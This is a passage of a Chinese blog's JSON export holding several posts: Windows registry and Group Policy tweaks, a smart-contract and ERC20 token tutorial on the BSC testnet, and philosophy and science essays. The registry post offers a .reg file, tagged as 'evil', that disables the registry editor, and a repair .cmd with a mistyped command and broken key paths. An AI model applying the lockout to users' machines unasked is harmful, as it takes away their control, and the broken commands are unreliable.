位）值，将数值数据由 0 改为 1 ，点击确定按钮； 4、完成这些步骤后，用户将无法打开设置。 如何恢复？ 1、如果你是使用组策略编辑器来禁用设置和控制面板的，要恢复原样，你需要进入组策略编辑器，来到以下目录：用户配置 - 管理模板 - 控制面板，在窗口的右侧重新找到禁止访问 “控制面板” 和 PC 设置，双击它，然后在弹出的窗口中将已启用改回未配置，点击确定按钮。 2、如果你是使用注册表编辑器来禁用设置和控制面板的，要恢复原样，你需要进入注册表编辑器，来到以下目录：\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\，在窗口的右侧找到名为 NoControlPanel 的 DWORD（32 位）值，双击它，将数值数据由 1 改成 0 ，点击确定按钮。 禁用注册表没事不要乱动注册表 /邪恶 禁用注册表.regWindows Registry Editor Version 5.00[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\"DisableRegistryTools\"=dword:00000001 解锁注册表.inf[Version]Signature=“$CHICAGO$”[DefaultInstall]DelReg=del[del]HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System,Disableregistrytools,1,00,00,00,00 右键选择安装解锁 修复注册表.cmdreg add \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"BranchName\" /d \"fbl_release\" /t REG_SZ /freg add \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdRiskLevel\" /d \"low\" /t REG_SZ /freg deldte \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdInternal\" /freg deldte \"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsSelfHostApplicability\" /v \"ThresholdOptedIn\" /f","categories":[{"name":"操作系统","slug":"操作系统","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/"},{"name":"Windows","slug":"操作系统/Windows","permalink":"https://blog.mhuig.top/categories/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Windows/"}],"tags":[{"name":"备份","slug":"备份","permalink":"https://blog.mhuig.top/tags/%E5%A4%87%E4%BB%BD/"}]},{"title":"","slug":"wiki/CoPoKo","date":"2022-06-12T04:11:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"p/wiki-copoko/","permalink":"https://blog.mhuig.top/p/wiki-copoko/","excerpt":".fa-secondary{opacity:.4} CoPoKo 开始阅读","text":".fa-secondary{opacity:.4} CoPoKo 开始阅读 CoPoKo","categories":[{"name":"文档","slug":"文档","permalink":"https://blog.mhuig.top/categories/%E6%96%87%E6%A1%A3/"}],"tags":[{"name":"CoPoKo","slug":"CoPoKo","permalink":"https://blog.mhuig.top/tags/CoPoKo/"}]},{"title":"部署第一个智能合约","slug":"web/部署第一个智能合约","date":"2022-03-01T02:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/6a03238d/","permalink":"https://blog.mhuig.top/p/6a03238d/","excerpt":"","text":"注意访问本文的引用链接可能需要魔法 对区块链最好的描述是将其描述为一个公共数据库，它由网络中的许多计算机更新和共享。 小试身手我猜您和我们一样会很兴奋在以太坊区块链上部署智能合约并与之交互。 别担心，作为我们的第一个智能合约，我们会将其部署在本地测试网络上，因此您不需要任何开销就可以随意部署和运行它。 编写合约第一步访问 Remix 并创建一个新文件。 在 Remix 界面的左上角添加一个新文件，并输入所需的文件名。 在这个新文件中，我们将粘贴如下代码： // SPDX-License-Identifier: MITpragma solidity >=0.5.17;contract Counter { // Public variable of type unsigned int to keep the number of counts uint256 public count = 0; // Function that increments our counter function increment() public { count += 1; } // Not necessary getter to get the count value function getCount() public view returns (uint256) { return count; }} 如果您曾经写过程序，应该可以轻松猜到这个程序是做什么的。 下面按行解释： 第 3 行：定义了一个名为Counter的合约。 第 6 行：我们的合约存储了一个无符号整型count，从 0 开始。 第 9 行：第一个函数将修改合约的状态并且increment()变量 count。 第 14 行，第二个函数是一个 getter 函数，能够从智能合约外部读取count变量的值。 请注意，因为我们将count变量定义为公共变量，所以这个函数是不必要的，但它可以作为一个例子展示。 第一个简单的智能合约到此结束。 正如您所知，它看上去像是 Java、C++ 这样的面向对象编程语言中的一个类。 现在可以运行我们的合约了。 部署合约当我们写了第一个智能合约后，我们现在可以将它部署在区块链中并运行它。 在区块链上部署智能合约实际上只是发送了一个包含已编译智能合约代码的交易，并且没有指定任何收件人。 我们首先点击左侧的编译图标来编译合约： 然后点击编译按钮： 您可以选择 “自动编译” 选项，这样当您在文本编辑器中保存内容时，合约始终会自动编译。 然后切换到部署和运行交易屏幕： 在 “部署和运行交易” 屏幕上，仔细检查显示的合约名称并点击 “部署”。 在页面顶部可以看到，当前环境为 “Javascript VM”，这意味着当前我们在本地测试区块链上部署智能合约并交互，这样测试可以更快，也不需要任何费用。 点击 “部署” 按钮后，您可以看到合约在底部显示出来。 点击左侧的箭头展开，可以看到合约的内容。 这里有我们的变量counter、函数increment()和 getter getCounter()。 如果您点击count或getCount按钮，它将实际检索合约的count变量的内容，并显示出来。 因为我们尚未调用increment函数，它应该显示 0。 现在点击按钮来调用increment函数。 您可以在窗口底部看到交易产生的日志。 当按下检索数据按钮而非increment按钮时，您看到的日志有所不同。 这是因为读取区块链的数据不需要任何交易（写入）或费用。 因为只有修改区块链的状态需要进行交易。 在按下 increment 按钮后，将产生一个交易来调用我们的increment()函数，如果我们点击 count 或 getCount 按钮，将读取我们的智能合约的最新状态，count 变量大于 0。 使用事件记录智能合约中的数据在 solidity 中，事件是智能合约可触发的调度信号。 去中心化应用或其他任何连接到以太坊 JSON - PRC API 的程序，都可以监听这些事件，并执行相应操作。 可以建立事件的索引，以便稍后可以搜索到事件历史记录。 在撰写这篇文章之时，以太坊区块链上最常见的事件是由 ERC20 代币转账时触发的 Transfer 事件。 event Transfer(address indexed from, address indexed to, uint256 value); 事件签名在合约代码内声明，并且可以使用 emit 关键字来触发。 例如，transfer 事件记录了谁发起了转账 (from)，转账给谁 (to)，以及转账的代币数转账 (value)。 我们再次回到 Counter 智能合约，决定在每次值发生变化时进行记录。 由于这个合约不是为了部署，而是作为基础，通过扩展来构建另一个合约：因此它被称为抽象合约。 在我们 counter 示例中，它将类似于如下： pragma solidity 0.5.17;contract Counter { event ValueChanged(uint oldValue, uint256 newValue); // Private variable of type unsigned int to keep the number of counts uint256 private count = 0; // Function that increments our counter function increment() public { count += 1; emit ValueChanged(count - 1, count); } // Getter to get the count value function getCount() public view returns (uint256) { return count; }} 注意： 第 5 行：我们声明了事件及其包含的内容、旧值以及新值。 第 13 行：当我们增加 count 变量的值时，我们会触发事件。 如果我们现在部署合约并调用 increment 函数，如果您在名为 logs 的数组内单击新交易，我们将看到 Remix 会自动显示它。 日志在调试智能合约时非常有用，另一方面，如果您构建一个不同人使用的应用，并且使分析更容易跟踪和了解您的智能合约的使用情况，那么日志也是非常重要的手段。 交易生成的日志会显示常见的区块浏览器中，并且，举例来说，您也可以使用它们来创建链外脚本，用于侦听特定的事件，并且这些事件发生时采取相应操作。 注册钱包安装 Chrome MetaMask 插件https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn 注册绑定你的账号。 添加 BSC Testnet （测试网络）添加自定义网络 网络名称：BSC Testnet RPC URL: https://data-seed-prebsc-1-s1.binance.org:8545/ 链 ID: 0x61 区块浏览器：https://testnet.bscscan.com/ 货币符号: BNB 每日领取测试 BNB进入 https://testnet.binance.org/faucet-smart , 填入账户 Address 领取测试链的 BNB。 BNB 用于支付测试网络的燃料费用. 在 metamask 钱包中也可以看到这笔 BNB 到账了。 发行 MHGC (MHuiGCoin) 代币进入 Remix 环境 中 FILE EXPLORERS依次创建三个文件: EIP20.sol、EIP20Factory.sol、EIP20Interface.sol。 EIP20.sol/*Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md.*/pragma solidity ^0.4.21;import \"./EIP20Interface.sol\";contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function EIP20( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; }} EIP20Factory.solimport \"./EIP20.sol\";pragma solidity ^0.4.21;contract EIP20Factory { mapping(address => address[]) public created; mapping(address => bool) public isEIP20; //verify without having to do a bytecode check. bytes public EIP20ByteCode; // solhint-disable-line var-name-mixedcase function EIP20Factory() public { //upon creation of the factory, deploy a EIP20 (parameters are meaningless) and store the bytecode provably. address verifiedToken = createEIP20(10000, \"Verify Token\", 3, \"VTX\"); EIP20ByteCode = codeAt(verifiedToken); } //verifies if a contract that has been deployed is a Human Standard Token. //NOTE: This is a very expensive function, and should only be used in an eth_call. ~800k gas function verifyEIP20(address _tokenContract) public view returns (bool) { bytes memory fetchedTokenByteCode = codeAt(_tokenContract); if (fetchedTokenByteCode.length != EIP20ByteCode.length) { return false; //clear mismatch } //starting iterating through it if lengths match for (uint i = 0; i < fetchedTokenByteCode.length; i++) { if (fetchedTokenByteCode[i] != EIP20ByteCode[i]) { return false; } } return true; } function createEIP20(uint256 _initialAmount, string _name, uint8 _decimals, string _symbol) public returns (address) { EIP20 newToken = (new EIP20(_initialAmount, _name, _decimals, _symbol)); created[msg.sender].push(address(newToken)); isEIP20[address(newToken)] = true; //the factory will own the created tokens. You must transfer them. newToken.transfer(msg.sender, _initialAmount); return address(newToken); } //for now, keeping this internal. Ideally there should also be a live version of this that // any contract can use, lib-style. //retrieves the bytecode at a specific address. function codeAt(address _addr) internal view returns (bytes outputCode) { assembly { // solhint-disable-line no-inline-assembly // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using outputCode = new bytes(size) outputCode := mload(0x40) // new \"memory end\" including padding mstore(0x40, add(outputCode, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(outputCode, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(outputCode, 0x20), 0, size) } }} EIP20Interface.sol// Abstract contract for the full ERC 20 Token standard// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.mdpragma solidity ^0.4.21;contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value);} SOLIDITY COMPILER我们选择 0.4.21 版本的编译环境. 点击编译. 在这里你可以将源码发布到IPFS. Metadata of \"eip20\" was published successfully.token/EIP20.sol : dweb:/ipfs/QmZemboWkhVyhYMRyCJmjwhw4caenvXS5Mw7Uc5tdE77jPtoken/EIP20Interface.sol : dweb:/ipfs/QmWQEUAdy5QnnCTGsEtRfedZrVG2xZ77YfKiPE5MVvQiSSmetadata.json : dweb:/ipfs/QmWFrJHPJLEWJGAoXpq8MD1pGJsvdcfxhPiW5SDXiwEvm8 DEPLOY & RUN TRANSACTIONS运行环境选择 Injected Web3 因为我们用的是 metamask 钱包；Account 账户填写 metamask 钱包账户；此时浏览器插件会弹出, 我们选择连接账户. 点击下一步, 点击连接. 在 DEPLOY 中输入部署信息, 合约构造函数的输入参数. _INITIALAMOUNT: \"21000000000000000000000000\"_TOKENNAME: \"MHuiGCoin\"_DECIMALUNITS: \"18\"_TOKENSYMBOL: \"MHGC\" 发币数量21000000, 和比特币一样，向中本聪致敬。 货币名称MHuiGCoin，最小货币单位18（decimaUnits），货币简称MHGC。 点击transact. 点击确认支付燃料费用. 从 Deployed Contracts 复制部署的合约地址: 0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6. 导入代币合约进入部署合约的 MetaMask 账户, 点击导入代币. 输入代币合约信息 代币合约地址：0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 代币符号：MHGC 小数精度：18 可以看到我的账户中有 21000000 MHGC (MHuiGCoin) 代币转账测试我们创建一个新的账户, 并导入上面的代币合约. 我们向目标账户发送 1 MHGC 测试 需要支付测试网络的燃料费用. 转账发送成功. 测试网络资源管理器在资源管理器中查看 资产: https://testnet.bscscan.com/token/0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 可以看到资源信息和公开的转账记录. 如你所见这些在区块链中已经发生的历史信息是无法更改的. 安全风险提示任何人都可以创建代币，包括创建现有代币的假版本。了解更多关于 欺诈和安全风险. 2016 年 6 月，The DAOEther 的漏洞造成损失 5000 万美元，而开发者试图达成共识的解决方案。DAO 的程序在黑客删除资金之前有一段时间的延迟。以太坊软件的一个硬分叉在时限到期之前完成了攻击者的资金回收工作。 2021 年 9 月 24 日，中国人民银行发布进一步防范和处置虚拟货币交易炒作风险的通知。通知指出，虚拟货币不具有与法定货币等同的法律地位。比特币、以太币、泰达币等虚拟货币具有非货币当局发行、使用加密技术及分布式账户或类似技术、以数字化形式存在等主要特点，不具有法偿性，不应且不能作为货币在市场上流通使用 。 最后MHGC 获取方式测试网络 网络名称：BSC Testnet RPC URL: https://data-seed-prebsc-1-s1.binance.org:8545/ 链 ID: 0x61 区块浏览器：https://testnet.bscscan.com/ 货币符号: BNB 代币合约 代币合约地址：0xeb86A66E2d4A51F8de3d4d0F509f18A15Cde68F6 代币符号：MHGC 小数精度：18 尾巴联系我, 发我地址，在 BSC Testnet 下可领取 100 MHGC. 共发行 21000000 MHGC, 集齐 22000000 MHGC可领取精美礼品一份. Just For Fun. 参考资料 Welcome to Ethereum This message is used to verify that this feed (feedId:83048545374666752) belongs to me (userId:82913974185265152). Join me in enjoying the next generation information browser https://follow.is.","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.mhuig.top/categories/Web/"},{"name":"区块链","slug":"Web/区块链","permalink":"https://blog.mhuig.top/categories/Web/%E5%8C%BA%E5%9D%97%E9%93%BE/"}],"tags":[{"name":"智能合约","slug":"智能合约","permalink":"https://blog.mhuig.top/tags/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6/"},{"name":"以太坊","slug":"以太坊","permalink":"https://blog.mhuig.top/tags/%E4%BB%A5%E5%A4%AA%E5%9D%8A/"}]},{"title":"一组粗略的类比","slug":"pen/一组粗略的类比","date":"2021-10-02T03:00:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/6dc844b7/","permalink":"https://blog.mhuig.top/p/6dc844b7/","excerpt":"","text":"这是一个关于生物学与深度学习的粗略类比的笔记, 这些类比中的大多数都是非常推测性和探索性的，但我发现它们很有趣并且值得思考. 生物学 深度学习 外界环境 输入数据 认知过程 特征提取 基因 神经网络权重结构 (特征) 基因突变 神经网络权重结构改变 性状 神经网络功能 细胞 神经元 组织 (细胞分化) 神经网络在后面的层 器官 神经网络专门处理特定任务的组件 个体 模型 繁殖 迭代 反馈调节 优化器 (eg: 梯度下降) 更新网络的机制 自然选择 损失函数定向衡量性能 进化 学习 进化 = 基因突变 + 自然选择 (定向) 学习 = 神经网络权重结构改变 + 损失函数定向衡量性能 基因决定性状 神经网络权重结构可以决定神经网络功能 个体繁殖 模型迭代","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"札记","slug":"札记","permalink":"https://blog.mhuig.top/tags/%E6%9C%AD%E8%AE%B0/"}]},{"title":"唯物辩证法","slug":"philosophy/唯物辩证法","date":"2021-09-15T07:13:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/6ace289f/","permalink":"https://blog.mhuig.top/p/6ace289f/","excerpt":"","text":"唯物辩证法是关于自然界、人类社会以及人类思维领域发展最一般规律的科学，它在坚持唯物论观点的基础上，研究世界的运行状况、形态和发展规律，进一步回答客观世界究竟 “怎么样” 的问题。 唯物辩证法的总特征唯物辩证法的基本观点是：世界是普遍联系的有机整体，同时又是变化发展的。联系和发展的观点是唯物辩证法的总特征。 事物的普遍联系联系指事物内部各要素之间和事物之间相互影响、相互制约、相互作用的关系。 联系的特性及其具体内容如下表所示： 特性 具体内容 客观性 事物的联系是事物本身所固有的，不是主观臆想的 普遍性 任何事物内部的不同部分和要素之间都是相互联系的；任何事物都不能孤立存在，都同其他事物处于一定的联系之中，整个世界是相互联系的统一整体。 多样性 世界上的事物是多样的，事物之间的联系也是多样的 条件性 条件是对事物存在和发展发生作用的诸要素的总和。条件对事物发展和人的活动具有支持或制约作用；条件是可以改变的；改变和创造条件不是任意的，必须尊重事物发展的客观规律。 事物的变化发展事物的相互联系包含事物的相互作用，而相互作用必然导致事物的运动、变化和发展。 发展是前进的、上升的运动，发展的实质是新事物的产生和旧事物的灭亡。 联系与发展的基本环节内容与形式、本质与现象、原因与结果、必然与偶然、现实与可能构成了联系和发展的基本环节。 唯物辩证法的三大规律对立统一规律唯物辩证法的实质和核心对立统一规律是唯物辩证法的实质和核心，其原因如下： 对立统一规律揭示了事物普遍联系的根本内容和变化发展的内在动力，从根本上回答了事物为什么会发展的问题。 对立统一规律是贯穿量变质变规律、否定之否定规律以及唯物辩证法基本范畴的中心线索，也是理解这些规律和范畴的 “钥匙”。 对立统一规律为人们提供了认识世界和改变造世界的根本方法 —— 矛盾分析析方法。 对立统一规律又称矛盾规律，矛盾是辩证法的核心概念，是否承认矛盾，是否承认矛盾是事物发展的动力和源泉，是辩证法和形而上学的根本分歧。 矛盾的两种基本属性是同一性和斗争性，矛盾的同一性和斗争性相互联结，相辅相成。 内因和外因内因指事物发展变化的内部原因，是事物自身的矛盾。 外因指事物之间的相互联系、相互影响，是事物变化的条件。 二者的关系：内因是事物变化的依据，外因是事物变化的条件，外因必须通过内因起作用，内因与外因共同推动事物的发展。 矛盾的普遍性和特殊性矛盾的普遍性指矛盾存在于一切事物中，存在于一切事物发展过程的始终，即” 矛盾无处不在，矛盾无时不有”。 矛盾的特殊性指各个具体事物的矛盾、每一个矛盾的各个方面在发展的不同阶段上各有其特点。矛盾的特殊性决定了事物的不同性质。 二者关系：矛盾的普遍性和特殊性是辩证统一的。矛盾的普遍性即矛盾的共性，矛盾的特殊性，即矛盾的个性。矛盾的共性是无条件的、绝对的。矛盾的个性是有条件的、相对的。任何现实存在的事物的矛盾都是共性和个性的有机统一，共性寓于个性之中，没有离开个性的共性，也没有离开共性的个性。 主次矛盾和矛盾的主次方面主要矛盾：处于支配地位，对事物的发展起决定作用 次要矛盾：处于从属地位，对事物的发展起次要作用 主要矛盾和次要矛盾的联系： 相互依赖，相互影响 两者在一定条件下相互转化 矛盾的主要方面：处于支配地位，起主导作用的方面 矛盾的次要方面：处于被支配地位，不起主导作用的方面 矛盾的主要方面和矛盾的次要方面的联系： 相互依赖，相互影响 两者在一定条件下相互转化 方法论： 要坚持 “两点论” 和 “重点论” 的统一，“两点论” 和 “重点论” 的统一要求我们看问题既要全面地看，又要看主流、大势、发展趋势。 量变质变规律量、质、度量是事物的规模、程度、速度等可以用数量关系表示的规定性。 质是一事物区别于其他事物的内在规定性。 度是保持物质的稳定性的数量界限，即事物的限度、幅度和范围，这启示我们在认识和处理问题时，要掌握适度度原则。 量变和质变量变和质变的区别如下表所示： 区别 量变 质变 性质 事物数量的增减和组成要素次序的变动 事物根本性质的变化，是事物由一种质态向另一种质态的飞跃 特点 渐进的、不显著的变化 根本的、显著的变化 呈现状态 统一、相持、平衡和静止 统一物的分解、平衡和静止的破坏 结果 事物还是其自身，没有变成另一事物 事物不再是其自身，而变成了另一事物 量变和质变的联系，辩证关系： 量变是质变的必要准备； 质变是量变的必然结果； 量变和质变是相互渗透的； 量变和质变是相互依存，相互贯通的，量变引起质变，在新质的基础上，事物又开始新的量变，如此交替循环，构成了事物的发展过程。 否定之否定规律肯定因素和否定因素肯定因素指维持现存事物存在的因素。 否定因素指促使事物灭亡的因素。 辩证否定观辩证否定观的具体内容如下： 否定是事物的自我否定，是事物内部矛盾运动的结果。 否定是事物发展的环节，是旧事物向新事物的转变，是旧质到新质的飞跃。- 否定是新旧事物联系的环节，新事物孕育产生于旧事物，新旧事物是通过否定环节联系起来的。 辩证否定的实质是 “扬弃”，即新事物对旧事物既批判又继承，既克服其消极因素又保留其积极因素。 否定之否定事物的辩证发展过程经过 “肯定 —— 否定 —— 否定之否定” 三个阶段。 否定之否定规律揭示了事物发展的前进性与曲折性的统一。这表明，事物的发展不是直线式前进，而是螺旋式上升的。按照否定之否定规律办事，要求我们树立辩证的否定观，正确看待事物发展的过程，既要看到道路的曲折，又要看到前途的光明。","categories":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/categories/%E5%93%B2%E5%AD%A6/"}],"tags":[{"name":"Philosophy","slug":"Philosophy","permalink":"https://blog.mhuig.top/tags/Philosophy/"}]},{"title":"辩证唯物论","slug":"philosophy/辩证唯物论","date":"2021-09-14T06:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/171a81d0/","permalink":"https://blog.mhuig.top/p/171a81d0/","excerpt":"","text":"辩证唯物论是关于世界的的物质性学说、关于物质和意识的辩证关系学说，它采用辩证法的观点研究世界的本质，所要说明的是世界的本质 “是什么” 的问题。 辩证唯物论的基本观点是：世界的本原是物质，主张物质决定意识，意识是对物质的反映；同时，意识对物质有能动的反作用，承认世界是物质的，物质具有客观实在性。 物质物质的定义物质是不依赖于人类的意识而存在，并能为人类的意识所反应的客观存在。 物质的唯一特性是客观实在性。 物质和运动物质和运动是不可分割的，二者关系及其具体内容如下表所示： 关系 理解 误区 物质是运动的物质，运动是物质固有的根本属性 任何具体的物质形态只有在运动中才能保持自己的存在，世界上不存在脱离运动的物质 离开运动谈物质会导致形而上学 运动是物质的运动，物质是运动的承担者 任何运动都有自己的承担者或者载体，离开物质载体的运动是不存在的 离开物质谈运动导致唯心主义 运动和静止物质的运动是绝对的，而物质在运动过程中又有某种相对的静止。 运动和静止的区别如下表所示： 运动 静止 含义 宇宙间一切事物、现象的变化和过程 两种情形：一是指空间的相对位置暂时不变，二是指事物的根本性质暂时不变 性质 无条件的、永恒的和绝对的 有条件的、暂时的和相对的 运动和静止的联系： 静止是一种不显著的运动，是运动的特殊状态；动中有静，静中有动，世界上一切事物的存在和发展，都是绝对运动和相对静止的统一。 只承认静止而否认运动是形而上学的不变论，只承认绝对运动而否认相对静止则导致相对主义和诡辩论。 时间和空间时间和空间是物质运动的存在形式。 时间是指物质运动的持续性、顺序性，特点是一维性，即时间的流逝一去不复返。 空间是指物质运动空间的广延性、伸张性，特点是三维性，即空间具有长、宽、高三方面的规定性。 物质运动总是在一定的时间和空间中进行的，没有离开物质运动的 “纯粹” 时间和空间，也没有离开时间和空间的物质运动。 意识意识的含义意识是物质世界长期发展的产物，是人脑的机能和属性，是客观世界的主观映像。 意识是社会的人所特有的精神活动及其成果的总和。从内容上看，人的意识是知、情、意三者的统一。 意识的本质意识是人脑这种特殊物质器官的机能。 意识是对客观存在的反映，其在内容上是客观的，在形式上是主观的。 物质和意识的辩证关系物质和意识的辩证关系体现在：物质决定意识，意识对物质具有反作用（意识的能动作用）。 意识的能动作用主要表现在： 意识活动具有目的性和计划性； 意识活动具有创造性； 意识具有指导实践改造客观世界的作用（最重要的表现）； 意识具有调控人的行为和生理活动的作用。 正确认识和把握物质和意识的辩证关系，还需要处理好主观能动性和客观规律性的关系： 尊重客观规律是正确发挥主观能动性的前提； 只有充分发挥主观能动性，才能正确认识和利用客观规律。","categories":[{"name":"哲学","slug":"哲学","permalink":"https://blog.mhuig.top/categories/%E5%93%B2%E5%AD%A6/"}],"tags":[{"name":"Philosophy","slug":"Philosophy","permalink":"https://blog.mhuig.top/tags/Philosophy/"}]},{"title":"我们从哪里来？","slug":"pen/我们从哪里来","date":"2021-06-06T03:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/dad4292a/","permalink":"https://blog.mhuig.top/p/dad4292a/","excerpt":"","text":"这里探讨的是一个非常简单的问题，我们是怎么来到这里的？ 前言世界上的所有人都是由这些元素和化合物组成的，他们的平常甚至让我们高智能的人类感到尴尬。 事实上，人体的 99% 都是由空气、水、碳以及白垩组成，另外还能找到少量的比较特别的元素，如铁、锌、磷和硫。实际上，组成人体的所有物质加起来最多花几十块钱就能买到。 但是，也不知道怎么的，这些数以万计的普普通通的原子能够携手起来，组成一个能够思考呼吸的活生生的人。 这些简单的积木是如何组合在一起。这无疑是最令人着迷的问题。 你可能会认为仅仅通过科学是不能够回答这个神奇的问题的。但是你敢肯定吗？现在，我们有理由相信，科学已经在这个大胆解释这个问题方面超越了宗教和哲学的解释力。 下面我们将通过一系列相互盘根错节的伟大发现来解释自然界的不为人知的一面。 在这之中蕴含了世上最基本的法则，即不确定性的产生。 这是关于看似廖无生气、毫无目的和动机的物质世界，是如何自发的产生这些极其精细的绚丽的自然。 这是关于世间最基本的法则是如何使这个世界展现出混沌和不可预测性，如何通过简单的物质创造出人。 这是关于一个奇异的发现，即有序和混沌之间，奇特而难以置信的联系。 图灵的方程式自然界充满了生长、发展和混乱，其中到处都是离奇的形状和杂乱的斑点。自然界的图案从来都不会固定不变，从来都不会按原样重复。 这一切看上去混乱的现象都受到数学方程式的影响。事实上，他们完全被数学规则所支配。这种数学规则与我们长久以来的直觉相悖。因此不难相信第一个能够担负此揭示自然界的数学根基重任的人会拥有超乎寻常的智慧。 他即是一个伟大的科学家，同时也是一个大悲剧。 他 1912 年生于伦敦，他的名字就是阿兰・图灵。 阿兰・图灵是一个不凡之人，他是有史以来最伟大的数学家之一。他提出了许多具有基础性的理论和见解。他的思想为现代计算机的出现提供了理论基础。 在二战期间，他在布莱切利园工作，也就是今天的米尔顿凯恩斯外。当时政府正在这里进行一个叫做 X 站的秘密项目。他的建立是为了破解德军的情报密码。 X 站项目组的密码破解人员做出了卓越有成效的工作，其中图灵的贡献至关重要。他亲自参与了破解德国海军密码的工作，因为他的工作数以万计的盟军得以幸存，同时这也导致战略形势的有利扭转。 但是图灵的天赋不仅仅表现在破解密码上，这仅仅是他那超乎常人的洞察力的一部分。对于图灵来说，自然界的密码才是终极密码。在他的一生中，他热切的寻找着破解这个密码的方法。 图灵是一个很有独创精神的人，他意识到这样一种可能性，简单的数学方程式可以描述复杂的生物世界的一些现象。他的这种想法以前从来没有人尝试过，自然界中所有的迷中最吸引图灵的，就是如何能够使用数学方程式来描述人类的智能。 图灵迷上这个想法是有原因的，这就是年轻的克里斯托弗・马尔孔的死。图灵是同性恋，克里斯托弗・马尔孔的死，在那时以及他的一生产生了重要的影响。克里斯托弗・马尔孔突然的死亡了导致阿兰图灵在情感方面产生了极大的触动。但是你能想象，他想把这个事实用科学来解释，他想解释的问题是，我们的心智怎么了，什么是心智。 图灵相信生物界的复杂的系统是可以用数学方程式来描述的，并且人类的智能也是如此。 他的这种信念导致了现代计算机的产生。 之后一个更加激进的想法出现在图灵的脑中，这个想法就是通过简单的数学描述来解释胚胎中发生的复杂的过程。 这个过程被叫做形态发生。它非常令人费解，起初胚胎中的所有细胞都是相同的，细胞们开始组合到一起，并且细胞之间渐渐产生了差异，这是如何发生的呢？物质不会自己思考，也没有一个中央系统在里面进行调度，一开始都是一样的细胞，为什么有的能够变成皮肤，而有的却变成了眼睛呢？ 形态发生是一类现象中的一个例子，这类现象叫做自组织现象。 